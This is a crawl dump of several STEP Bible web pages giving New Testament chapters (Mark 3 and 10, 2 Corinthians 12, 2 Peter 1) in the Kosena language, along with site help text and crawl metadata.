menávápákén-kwáásí Táyaa-naor-ayampaken-kwaasi Sáítóni-naor-ayampaken-kwaasi miráumaivaken-kwaasiyomba Ísuna mayáí-áímbá isésa ÍsunopaꞋa tóyo uwaná 9 sáwíva-kwaasi asóvamatinkowasa mindáyavesa tíꞋo ún-kwaasiyomba asóvamasinkainkwae sésa Ísun-aneꞋo tátoraiyanesa kwenkuvaráꞋá úmaesa kwéiyuwasa tirumpimbó taraváá-kwámbó máyon-kwaasi Ísumba awánésa maraꞋá kumbésa anónkaꞋa sésa emá Áánútu ááninko óne suwaná Ísu asiramái séna Áánútu ááninko óne séꞋa íma simái paároro séna kwená kwayó-kwáásí simátimena séna sáwíva-kwaasi kwenkuvaráꞋa ésa siméntáyuwaavo nompí-sípí maimaéꞋa egwaaꞋá másínkáaro siráiye.\nÍsu kwená kwayóꞋnárawaꞋa tááyarain-kwasai.13 Ísu omápaꞋa uména évakarawai usásintinkanae séna tááyowasa kwenópaꞋa íyúwana 14 minkwáásívínkémbá sísamaivakemba kaeꞋá kumbaimái-kwaasi usásintinkena séna kesí aantá-kwaasi éꞋa méꞋa kesáái kosimátímapaꞋa kónááontaveꞋa tiꞋmaréꞋa 15 tirumpinkémbó taraváá-kwámbó komaitiyuwánááon-asirayamba timúnda miráyávéꞋa usásintinkaumne siráiye.\n16 miwí túwíꞋa Sáímoniye séna aúná-kwiꞋa tamámena Pítaawe súwaima séna 17 Sépéti ááninkorai túwíꞋa Yémési Yóni aúná-kwiꞋa Poanésiye súwairai minkwíkóná ááimba kwíyónaaimo siwáí áráakaiye súwairaiyavena séna 18 moóráwai Éndaru moóráwai Vírípi moóráwai Pátóromu moóráwai Mátíyu moóráwai Tómáasi moóráwai Árávíási ááninko áwíꞋa Yémési moóráwai Tátiyasi moóráwai Sáímoni kwemá Árómáani-kamaani-kwaasi tiꞋmátuwanae siráiwai 19 moóráwai Yútási Isakéríóti kwemá naaémba Ísumba kwená namuro-kwáásíráꞋá agaráátínkaraiwai miráumai-kwaasi Ísu usásintinkena naaópaꞋa koyauwékáiye.\nÍsunte Píyésepuntei kwaasái.20 Ísu naaúmpaꞋa iyúmba óꞋonkwaraꞋa sáwíva-kwaasi torupésa sisipáá untáváí Ísuwe kwená kwayó-kwáásíyé toómbá íma kanaaráꞋá umái notávésa 21 Ísumba amááraa isésa aívóꞋan-iye sésa tairánáe sésa tiráawe. 22 Yérúsaremu-naopaken-kwaasi Áánútuna ámáámba sun-kwáásí tésa sésa taraváá-kwántóntí kawáánáꞋá áwíꞋa Píyésepu asirayámbá ámísana tokéna póna taraváá-kwámbá kwémaiyuwaiye suwaná 23 Ísu tááyowasa tuwaná kwántámai-aimba simátimena séna Sáátáánigo kwesáváí íma maisuwáníye. 24 moórá-andama ááiꞋa tiyésa pósa taaínkaar-umai mésa íma asiramáívakaamba kwémaewe. 25 moórá-akumba usíyán-ákúmbá pósa taaínkaar-umai íma asiramáívakaamba kwémaewe. 26 Sáátáánigona kwaásimo ááiꞋo tiyésamo taaínkaaꞋo ésamo ésa íma asiramáívakaamba kwémaewe. 27 moóráwai moórá-nanko avowámó asiramáímo máyainanamo éna mindáúmpákémbó umóyámbó mayáíndayavenamo éna íma úwoi uveránívo mindánkó avowámbá ánda asááúmakenamo éna uvékena kwená náaindaamba umóyámbá mayáníye Ísu siráiye.\n28 Ísu simásuwena séna maísáaro. kwaási sáwí-mayai kwémaesa simái sáwíꞋa kwéumatinkaamba mindá Áánútu maitiyuwánívo 29 Áánútun-amankontavesa simái sáwíꞋa umánkanaaomba mindá Áánútu íma maitiyuwáinana kwaíkwaiꞋa íníye Ísu siráiye. 30 Ísuntavesa sésa taraváá-kwánkó kwenarumpimbá máyáiye suntávéna Ísu mináímbá simátímakaiye.\nÍsun-anówawe áúnavaꞋmaati kwaasái.31 mináímbá simátimuwasa Ísun-anówawe Ísun-áúnavaꞋmaate tésa máápaꞋa mésa sésa Ísuntavai tiyó se kosimáméro suwasá 32 naaúmpaꞋo máyón-kwaasi sésa enanówe enáúnavaꞋmaare máápaꞋa mésa kwéaayaawe suwaná 33 Ísu séna kesinó nááwaꞋiyo. kesúnavaꞋa nááwiyaꞋo séna 34 naaúmpaꞋo máyón-kwaasi tuwánéna séna kesinó kesíváꞋmaaꞋa máyáawe. 35 Áánútu siráiniꞋa kwéowai kesinó kesúnavaꞋmaaꞋa kesímánaaꞋmaaꞋan-owe Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.3","date":"2018-04-23T17:51:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946120.31\/warc\/CC-MAIN-20180423164921-20180423184921-00382.warc.gz","language":"kze","language_score":0.9999878407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999878406524658}","num_words":622,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.162,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 10\naarakwáꞋó tasáén-aimbo siráin-kwasai.1 Ísu minkáꞋá tuwéna Yútiyaa-ayampaꞋa Yótáni-nonkona menávápáꞋá komáyowasa moórágwaraꞋa sáwíva-kwaasi torupowaná kéꞋnaamba aaí kwésimatimuwasa 2 ámáán-kawaa-kwaasi sésa sáwí-aimbo sínda isánáe sésa ÍsunopaꞋa tésa sésa moórá-kwaasigo awainínkómbá kanaarárá auwáníyo. mirámó énamo éna ámáán-aimba karáni. íya karáníyo suwaná 3 naaóváꞋá Mósesi nóra-amaana simátímakaiyo séna tísaa úwasa 4 miwí sésa Mósesi maará séna moóráwai awainínkómbá aiꞋmátuwaindawai aúváívimba agaimaréna séna kesuwainímbá aiꞋmátuwaumne séna agaimái amiíno siráiye suwaná 5 Ísu séna kentíkwáꞋná tirumbá makáamba pósa Áánútun-aai íma ísóntavai mindáyavai Mósesi minámáámbá siráimbanivo 6 Áánútu kwíyómba maramá taróruronkaꞋa íma mirá siráivo Áánútu aaraigwárá kwaaigwáráꞋá taróruraiye. 7 miráumai taróruraintavai tinóvowi tiyuwésa awaikóe awainínkóe tágárotamai 8 mimbórá-túmá maꞋmái kwémaewe. mindáyavai awaikóe awainínkóe íma kae-kwáásíráámbá ésa mimbóráíꞋa kwéowe 9 Áánútu aarai-kwaaí moóráiꞋa umátínkaraintavai íma tasáéro Ísu siráiye.\n10 Ísu simásuwena naaúmpaꞋa umésa kwená kwayó-kwáásí Ísumo sún-aintavesa áísaa uwaná 11 séna moóráwaimo awainínkómbó aiꞋmátuwenamo óꞋon-inimbo kwémayaimba umóyámbá kwémayaiye. 12 moórá-ininkomo awaikómbó auwénamo óꞋonkwambo kwémayaimba umóyámbá kwémayaiye Ísu siráiye.\nÍsu iyámpói kaweꞋá umátínkarain-kwasai.13 Ísu simátimuwasa évakarawai Ísu tátorena kaweꞋá umátinkainkwae sésa iyámpói tíꞋmaesa tuwasá kwená kwayó-kwáásí sésa tíꞋmaeꞋa kóro suwaná 14 Ísu tuwánéna áwááꞋa tiyéna séna íma kóro séꞋa tiyuwáíyasa kesópaꞋa iyámpói úwoi teró. miníyámpóí kesópaꞋa tentembá Áánútu kwená kwaási kawááimba miráráán-umai kwégawaaimba iyámpói kesópaꞋa tí-amba íma ítátinkaaro. 15 áraiꞋa simátimeꞋa séꞋa Áánútuntavesamo sésamo iyámpóíraan-umai kenkáꞋá kwégawaa-onemo síyanamo éna miwíráꞋá kawááinivo ímo mirámó síyawaimo éna íma kawááiniye Ísu séna 16 miníyámpóíyómbá tiránkena tineꞋá tátorena kawer-áímbá simátímakaiye.\nóísankwara-kwaasigona kwaasái.17 Ísu simátimena kwéguwana moóráwai isaaiséna Ísu anóndakoman-iye séna takívairena séna kaweꞋnáꞋá óne. nóra umáíya aúnáiꞋa umái kwíyómpaꞋa maíꞋmaira ónaumno súwana 18 Ísu séna kentáváí nóra séwa kaweꞋnáꞋá óne kwéseno. mimbóráwáí Áánútu kweyáá kaweꞋnáꞋán-iye. 19 Áánútuna ámáámba áꞋa ísaraane. minámáámbá aúváívinkemba agaimaréna séna kwaási tínkamiyasamo puwónááoniꞋa íma oró. íma aarai-úmóyámbá oró. íma umóyámbá máyáaro. íma kampar-áímbá simátínkáaro. kwakaráí-áímbá íma seró. kentinóvowi túwíꞋa anómba oró siráiye súwana 20 mindákó séna minámáámbá kesí iyámpóírakemba ísareꞋa póꞋa kaweꞋá úmae kwéiyune súwana 21 Ísu awánéna aamoí éna séna kaweꞋá éma moórá-yantaaꞋa íma kaweꞋá uráampo ená náaindaamba óꞋon-kwaasi kwétime óntamba mairé ímo makéwai tímatuwenana ená kaweꞋ-méyámbá Áánútu kwíyómpaꞋa ankáníye. tímatuwemo e kesínaaemba kwaráníyone súwana 22 mináímbá iséna sáwívaꞋ-naindaamba makóntavai kanagíꞋá túmaena anón-imayaa úwana arunkó sáwíꞋa kwéuwana kuráiye.\n23 kúwana Ísu kwanténa kwená kwayó-kwáásíyávéna séna sáwívar-oisambo makén-kwaasi Áánútumo kwená kwaási kawááipaꞋa kwíyamba umbaí táníye súwana 24 kwená kwayó-kwáásí mináíntáváí tááꞋa kówana kesí iyámpóíyono. óísan-imayaamo eémáyaiyawaimo Áánútumo kawááipaꞋo kwíyamba umbaí táníye. 25 moórá-poigo áwíꞋa káámeri mimpóígó kwaigóná avaapimbá íma kanaán-umai kóveraniye. káámeri-poigomo kwaigóná avaapimbó kóverainkakai sáwívar-oisamba makén-kwaasi Áánútu kawááipaꞋa kosinó súwasa 26 mináímbá isésa táátavai ésa sésa umbaí taintáváí nóran-kwaasiya Áánútu kawááipaꞋa ménaaoo suwaná 27 Ísu tuwánéna séna kwaási miwítí mayáínéí íma meéyámbaresa kónááovo Áánútu amápa-tantaaꞋa úwoi kanaán-umai kwéiye súwana 28 Pítaa séna isaaó. kentáásí amápa-tantaaꞋa tuwéta enánaaemba kwégwaraumne súwana 29 Ísu séna áraiꞋa simátimeꞋa séꞋa kentáváí imáyáa ésa Áánútuna áséi-aimba kosimátimenaaontavesa naambáruꞋa tuwésa tuwaaísái tiyuwésa tíváꞋmaaꞋa tiyuwésa tímánaaꞋmaaꞋa tiyuwésa tinóvowi tiyuwésa táánimbaaꞋa tiyuwésa tiyáámúmbaaꞋa tiyuwésa miwítí maramá túwáawaina anondáma 30 marapáꞋó máyáankaꞋa túwáan-tantaaꞋa mirán-tántááꞋá sáwívaꞋa mémaesa tuwaaísái-iꞋa ésa tímánaaꞋmaariꞋa ésa tinóisai-iꞋa ésa kentí iyámpóí-iꞋa ésa naambá maramá mayánááomba miwívímbá umbai-yántááríꞋa umátinkanaaombo ésa naaén-kanaa aúnáiꞋa umái kwíyómpaꞋa maíꞋmaiꞋa ónááowe. 31 ívéꞋa évakaꞋa aivakéwáí aáno tínaaeniꞋa íyasa ívéꞋa évakaꞋa tínaaenkewai aáno aivaríꞋa ónááowe Ísu siráiye.\nÍsu kwemó puwíníntavai siráin-kwasai.32 Ísu séna Yérúsaremu-naopaꞋa kónáe séna aampaꞋá kwégwesa Ísu aivaꞋá kúwana kwená kwayó-kwáásí tááꞋa kówana tínaaembo kun-kwáásígwáráꞋá tááꞋa kówana Ísu kwená kwaási sísamaivakemba kaeꞋá kumbaimái-kwaasi tíꞋmaena moórá-ayampaꞋa tínkarena kwempáꞋó tínín-tantaakontavai mósimatimena 33 séna maísáaro. Yérúsaremu-naopaꞋa konanayá moóráwai kembá kwaási úrandakomba mono-káwáá-kwáásíyé ámáámba sen-kwáásíyé agaráátinkainasa kembó sínkami-aimba simái tarúmaresa síꞋmai óꞋonkaa-kwaasi timíyasa 34 kanaárááꞋa kwésinkesa tuwirááíma kwisinkésa súwírukuꞋa kwénesa sínkamiyaꞋa púwónasa utamásinkaiyaꞋa kaumbo-táwai maisuwéꞋa usásinanaumne Ísu siráiye.\nYémésiye Yóniye Ísumba áísaa urááyan-kwasai.35 minkánáá Sépéti ááninkorasarai Yémésiye Yóniye ÍsunopaꞋa tésarai sésarai anóndakoo áísaa oyaníꞋa umásinkaniyono suyaná 36 nóintavai kwétinkainara umátinkanaumno súwasarai 37 ená ságayam-barupaꞋo umaéma kenkáí usásisinke évarevar-akwampaꞋa sinkáníyone suyaná 38 Ísu séna séyan-ainkona ááimba íma ísaraaiye. sáwí-nombo anavéúmpinkembo náúndanten-umai síꞋa índaiꞋa umásinkanaaomba keinárai kanaarárá kemó náúnda-anaveumpinkemba náyááoiyo. síꞋo índaiꞋo umásinkanaaontemba kanaarárá keinárai mirá umátinkanaaoo súwasarai 39 keiráí kanaám-pókai mayáyauye suwaná Ísu séna áraiꞋa séye. kemó náúnda-anaveumpinkemba náyááoiye. síꞋo índaiꞋo umásinkanaaontemba keinárai mirá umátinkanaaovo 40 kesí évareva-sukwampaꞋa kemá íma usásintinkanaumpo Áánútu kaeꞋnárai umátínkaraimba póna usásintinkaniye súwasa 41 Ísuna kwayó-kwáásí siyáánkainarawaꞋa mináímbá isésa Yémésinte Yóninte áwááꞋa tíyúwana 42 Ísu tááyowasa tuwaná séna áꞋa ísaraawe. marapár-ánón-kwáásíyómbá usáyaaitamai asirayán-áímbá simáti simati kwéuwasa kwenkóyai kwentáyaiꞋa uráawe. 43 anón-kwaasimo ontembá keinárawaꞋa íma mirá oró. keinárawapinkemba usáyaaitanae síyawai óꞋowiti kwayóꞋá maránááowe. 44 keinárawapinkemba aivaríꞋa ónáe síyawai amáparawaiti mayáímá túwaꞋnaa oro. 45 kemá kwaási úrandako kumpaáruraundawai íma súwaꞋnaa ígwáeꞋa kunkáumpo kemá kwaási túwaꞋnaa ónáeꞋa kunkáumne. sáwí-imayaavinkemba iyátinkanaundayavai puwónaumne Ísu siráiye.\nÍsu aúramba kavíkówaimba kaweꞋá umánkarain-kwasai.46 Ísuwe kwená kwayó-kwáásíyé Yéríko-noapaꞋa kumbá sáwíva-kwaasigwaraꞋa mindáópaꞋa tuwésa aampaꞋá kuwaná Tímíyási ááninko áwíꞋa Páátímiyasi aúramba kavíkówai óntamba inaai simái mayánáe séna aanéivaꞋa kumbéna kwéinaai súwasa 47 évakarawai sésa Ísu Násáretivakewai kwétiye suwaná iséna anónkaꞋa séna Ísuwo Tévítin-andarakewai ómpo arumbá umásinkaao súwasa 48 sáwívarawai áwááꞋa aéésa sésa aaiseraaó suwaná mináímbá ivá kwétuwena óꞋomba anónkaꞋa séna Ísuwo Tévítin-andarakewai ómpo arumbá umásinkaao súwana 49 Ísu aampaꞋó kweémáyomba kwená egwaaꞋá kousásinena séna ááyaaro súwasa aúrambo kavíkówaimba ááyesa sésa enarunkó kaweꞋá íno. kwéaayaivo usásinaao suwaná 50 aꞋmarénamo máyon-ampaanta agwáímarena usásinena Ísun-aókáꞋá túwana 51 Ísu séna nóin-tantaara embó arááímo táínda-yantaaꞋa umánkanaumno súwana anóndakoo súramba kaweꞋá umásinkainkwaeꞋa úne súwana 52 Ísu séna kentáváí kanaán-umai súwaꞋnaa íníwaiman-iye sénda póꞋa kaweꞋá umánkaumpo kwaaó súwana avekáámbá aúramba awánéna Ísun-ánaaemba kwakáiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.10","date":"2018-04-19T21:21:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937045.30\/warc\/CC-MAIN-20180419204415-20180419224415-00564.warc.gz","language":"kze","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000016689300537}","num_words":982,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 12\nÍsóigo kaainampákááníꞋo umáímo agarááránkáin-kwasai.1 kesúma maé kwéiyunda mirán-ááínkó íma kentáá súwaꞋnaa ínívo kentávéꞋa Áánútuna aantá-kwaasiman-iye sénááontaveꞋa kesópaꞋo tiráin-tantaakon-aai simátíménda ísáaro. Ísóigo kaainampákááníꞋo umáímo agaráásínkaraimba simátíménda ísáaro. 2 Ísu Káráísitina kwaási máyaawanana Áánútu kusíꞋmaena kwíyómpaꞋa sanaan-úramba iyúmba kesimankóná kunáíkai. mútú-kwaasi kusíkaiyo íma isáúmpo Áánútuwe suꞋmai ísaraiye. mirámó uráunda l4 ima maisukáumne. 3 Áánútu kusíꞋmaena kwená kaweꞋ-mápáꞋá iyúmba kesimankóná kunáíkai. mútú-kwaasi kusíkaiyo íma isáúmpo Áánútuwe suꞋmai ísaraiye. 4 kusíꞋmaena kwená kaweꞋ-mápáꞋá mósinkarowaꞋa miváꞋá méꞋa évaka-tantaakon-aai ísaraunda póꞋa simátíméndamo éꞋa sáwíꞋa ónaunda póꞋa íma kanaán-umai simátimenaumne. 5 mirá uráintaveꞋa kesúma maé iyéꞋa kesí mayáíyávéꞋa íma kesúma maé iyéꞋa évaka-tantaaꞋo kesópaꞋo tisasamó suwánésamo sésamo aamoisáyán-kwáásímán-iye kwésen-aintaveꞋa kesúma maé kwéiyune. 6 kesúma maé iyónáe sékai árair-aintaveꞋa kesúma maé iyúnaꞋa kentávéꞋa sáwí-imayaagwara-kwaasiman-iye íma kanaán-umai sésino. ánivo kesúma íma maé kwéiyune. aaimó súndarakembo kesúmo maé iyúndarakai mináímbá isésa évakarawai kentávésa sésa anón-kwaasiman-iye sésino. mindá íma sirááíma kwétaiye. kesí mayáí awánéꞋa simátimunda-aimba iséꞋa póꞋa máyaundawaina ááimba suwánaawana sirááíma kwétaimba mindáyaveꞋa kesúma íma maé kwéiyune.\n7 Áánútu sirówaꞋa óꞋoran-kawe-tantaaꞋa sáwívaꞋa awánaawanana Áánútu kentávéna séna kwenáúma maé íyívo séna moórá-yantaaꞋa síꞋo ií-yántááꞋá kusúvimba marówana mindáyavena Sáátáánigo sáwíꞋa umásínkáísana kesúma íma maé iyónaundayavena Áánútu mirá umásínkaraiye. 8 kaumbo-táwai Ísóigo Ísu KáráísitimpaꞋa námúnaa séꞋa maantántááꞋá maisiyúwénaꞋa kaweꞋá umái ménaumne séwánana 9 minkáúmbó-táwai séna ímanivo miráumai ménaꞋa úwoi áwaꞋnaa ondá embá kanaán-íníye. ímo asiramáímo máyaanda kesí asirayámbá áménana minásíráyánkó embá usáyaaitaina méniyone símaena iráiye. Ísu Káráísitina asirayánkó kenkáꞋá kárákwiyimba póꞋa ímo asiramáímo máyaundayaveꞋa aamoí kwéune. 10 Ísu KáráísitintaveꞋa imáyáa kwéunda ímo asiramáímo máyaundawe simáímo sáwíꞋo umásínkáane sáwí-aimbo simásínkáane umbai-yántááꞋó kwáyáine sáwíꞋo umásínkáane mirán-tántáátávéꞋa íma imáyáa éꞋa aamoí únda séꞋa ímo asiramáímo máyaunda Ísu Káráísiti asirayámbá símísaꞋa asiramái máyaumne kwésune.\nKórínti-naoraa-kwaasi imáyáa arupí umátínkarain-kwasai.11 mirán-áímbó simátimunda kesúraamba maé kwéiyeꞋa sáwí-imayaagwara-kwaasiraaniꞋa kwéune. keinárawaꞋa kampaꞋá séꞋa Áánútuna aantá-kwaasin-owe kwésen-kwaasi miwí kembá íma usáyaataraawe. kemá úwoi-kwaasi úndanivo miwí kembá íma usáyaaitaraawe. Póroma Áánútuna aantá-kwaasima iyé-áímbá keinárawaꞋa kampar-áímbó sen-kwáásíyávéꞋa simátíméraamba íma simátímakaavo kemá Áánútuna aantá-kwaasima úne-aimba imáyáa ónááontaveꞋa kesópaꞋo tiráin-tantaakon-aai maanáúváívímbá kwésimatimune.\n12 Áánútuna aantá-kwaasiti mayáí maarám-báyáímán-iye. óꞋoran-kaweꞋ-mayai ímo awánaraam-bayai Áánútuna asirayándéí mayáí kwémayaambaniye. keinárawapimba koméꞋa mirám-báyáí kwémaeꞋa íma ivá tuwááwánaꞋa suwánaraawe. 13 nóra séra kentávéꞋa séꞋa Áánútuna kwaási óꞋon-oꞋon-daopaken-kwaasiraꞋa kaweꞋá umái kárákwiyenawa kentááraꞋa íma miránumai kwégarakwiyiyo kwésemba óꞋon-daopakewairaꞋo kárákwiraundanten-umai keinárawakaꞋa kárákwiraumne. óꞋon-oꞋon-daopaꞋo Áánútuna kwaásivimbo komaéwanda miwí súwaꞋnaa uráavo keinárawapimbo komaéwanda súwaꞋnaa oró-áímbá íma séwándarakemba mirán-úmbáí-áímbá íma simátínkaraumne. mirán-úmbáí-áímbó simátínkaraundarakai kaweꞋá ówánaꞋa póꞋa aamoí umásínkaraasino. mirán-ímáyáámó ombá ivá túwáaro.\n14 kae-táwai kentópaꞋa koméꞋa tiréꞋa ívéꞋa kwétoꞋmayaa éꞋa ókwaraꞋa kónáe séꞋa kwéumpo kondá umbai-yántááꞋá íma timéꞋa kentí óntambo siménaaontavena íma kwésinkaivo kentirumbó siménaaontavena kwésinkaimba póꞋa kónaumne. iyámpói íma tinóvowiraꞋa kárákwimai kwétuwaꞋnaa-ovo tinóvowimo iyámpóíraꞋo kárákwimai túwaꞋnaa ontembá kemá mirá kwéumpo 15 túwaꞋnaa ónaundayaveꞋa makáunda-yantaaꞋo túwaꞋnaa umáímo kwéanasasuweꞋo anóm-bayai kwémaeꞋo mirámó ondavímbó puwónaundayaveꞋa aamoí kwéune. kesirumbá anómba kwétimumpo kentirumbá sáwíyamba kwésimemba mindágwaraꞋa ánásaavainivo imáyáa umái kaweꞋá oro.\n16 súwaꞋnaa oro íma séwándarakemba umbai-yántááꞋá íma tímakaunda-aintaveꞋa árair-aimban-iye seró. keinárawapinkemba évakarawai kentávésa kampaꞋá sésa kentáásí óntamba mayánáe séna kampatá simásíyukaiye kwésewe. 17 nóra séra mirá uráumno. tiꞋmákaundawaiya kentí óntamba maimaésawa kembá másímakaao. 18 Táításimba asirayán-áímbá simámeꞋa aiꞋmákaunda moóráwai Ísu Káráísitina kwaásigwaraꞋa tiꞋmákaundarai mindáraiya kampaꞋá simái óntamba maé másímakaaiyo. Táítási íma mirá-sáwíꞋá uráiye-aimba ísaraawe. kwewé kewé mimbórá-ímáyáávínkémbá mayáí kwémayauye.\n19 kesí kwaásiyono. maanáúváímó awánanaaomba maarán-kámpár-ímáyáá éꞋa kentáá súrankaꞋa Póro kwenáái arupí ónáe séna maanáúváí agairáiye sénááowe-imayaa kwéune. íma mirán-áíntávéꞋa kwéagaeꞋa Ísu Káráísitiye tarúmai méꞋa Áánútu aúrankaꞋa kentí imáyáa túwaꞋnaa ónáeꞋa mirán-áímbá kwésimatimune. 20 kentópaꞋo kondamó ímo kaweꞋó umáímo méwaꞋo kotuwánéꞋo ímo aamoimó ónaundayaveꞋa anón-imayaa kwéune. kentópaꞋo kondamó asirayán-áímbó simátíméndamo iséꞋa íma aamoí ónááontaveꞋa anón-imayaa kwéune. kentópaꞋo kondá aaisambá séꞋa kayoréꞋa áwááꞋa séꞋa taaínkaar-umai méꞋa simái sáwíꞋa umátinkeꞋa kwantánaanta-aimba séꞋa kentúma maé iyéꞋa óꞋon-oꞋon-aimba kwéseꞋa mirá-sáwíꞋá kwéiyaꞋa kotuwánáúnavo séꞋa mináímbá kwésimatimune. 21 kentópaꞋo kondá aarai-úmóyáné kwaai-úmóyáné kwéon-imayaa íma tínaaemba umámakeꞋa sáwí-imayaayaveꞋa tirááíyaveꞋa kwéowaimba íma tínaaemba umámakenkaꞋa kotuwánáúnavo séꞋa mináímbá kwésimatimune. kentópaꞋo kondá mirá-sáwíꞋó kwéiyaꞋo éꞋa Áánútu aúrankaꞋa keinárawataveꞋa sigaeyávéꞋa onaná sirunkó umbaí táníye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Cor.12","date":"2018-04-24T08:56:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946578.68\/warc\/CC-MAIN-20180424080851-20180424100851-00406.warc.gz","language":"kze","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999980926513672}","num_words":763,"character_repetition_ratio":0.052,"word_repetition_ratio":0.003,"special_characters_ratio":0.151,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Peter 11 kemá Sáímoni Pítaa maanáímbá maanáúváívímbá agaimaráúmpo ísáaro. kemá Ísu Káráísitina aantá-kwaasi úndanivo kesáámó úndantembo Áánútun-aaiyaveꞋo árairemo kwésewai ísáaro. kentáásí Áánútuwe Ísu Káráísiti sáwí-imayaavinkemba iyásínkáiwaiye arupí umái mésarai kawer-ímáyáá símakaayata mindáraise aráápamaiya kaweꞋá umáíya máyaumne. 2 Áánútuwe kentáásí Ísóigo ÍsuntetopaꞋa téꞋa kawer-ímáyáá tamaéꞋa mirámó úmae kwéiyomba úwoi túwaꞋnaa úmae iyésarai paru umátínkávaꞋa iyíyaꞋa ménaaowe.\nÁánútu kentáámá ításinkarain-kwasai.3 Ísu Káráísiti sááyowana kwená ságayanko kwená óꞋoran-kaweꞋ-mayaigo tavisúwata kwenópata téta kawer-ímáyáá taísaraumne. Ísu Káráísiti mirán-kwáásígó póna kwemó kaweꞋá umátinkanaumnemo siráin-aimbo éna mirá ínímba póna kwená asirayámbá kwésimisata Áánútuntaveta aamoí éta arupí umái méta kwenáái simátímakaundaya póna marapáké-sáwí-ásíráyánkómó kwaásimo sáwíꞋo kwéiwai keinárawa tineꞋá íma tátorainaꞋa tuvíntuweꞋa Áánútuwe tarúmai ménaaowe.\n5 mindáyaveꞋa imáyáa éꞋa maarámó ónááontaveꞋa asiramái mayáí máyáaro. Áánútun-aaiyaveꞋa áraire séꞋa kwenkáꞋá agevamái máyáamba kawer-ááímbá maréꞋa minkákémbá kawer-ímáyáávínkéníꞋa kwéeꞋa minkákémbá 6 kentúraꞋa kárákwiyeꞋa minkákémbá asiramái méꞋa íma tívón-káínaꞋa ÁánútuntaveꞋa aamoí umái méꞋa 7 Áánútuna akúmbá máyáantaveꞋa túwaꞋnaa úmae kwéiyeꞋa kentirumbá timéꞋa 8 mirán-oro. mirámó úmae iyéꞋo éꞋa Ísóigo Ísu Káráísitina kawer-ímáyáá iséꞋa anóniꞋa umái méꞋa kentí mayáí áúgwaraꞋ-mayai mayánááowe. 9 mirán-káwéꞋ-máyáímó ímo kwémayaawai Áánútumo sáwí-imayaamo maitíyukain-aimba tuwinkásuwesa tááꞋo káúnkaiwairaamba umái máyáawe.\n10 kesí kwaásiyono. Áánútu keinárawaꞋa tááyamai ítámakaivo imáyáa éꞋa kwesé asiramái máéro. mirámó éꞋo éꞋa sáwí-amba íma kwaránááowe. 11 miráumaimo méwanamo éna kentáásí Ísóigo Ísu Káráísiti sáwí-imayaavinkenta iyásínkáiwai keinárawatavena séna tíyaꞋa kárákwiraanaꞋa kesópaꞋa maíꞋmaiꞋa úmae iyónááowe síníye.\n12 mináráír-áímbá áꞋa ísareꞋa asiramái 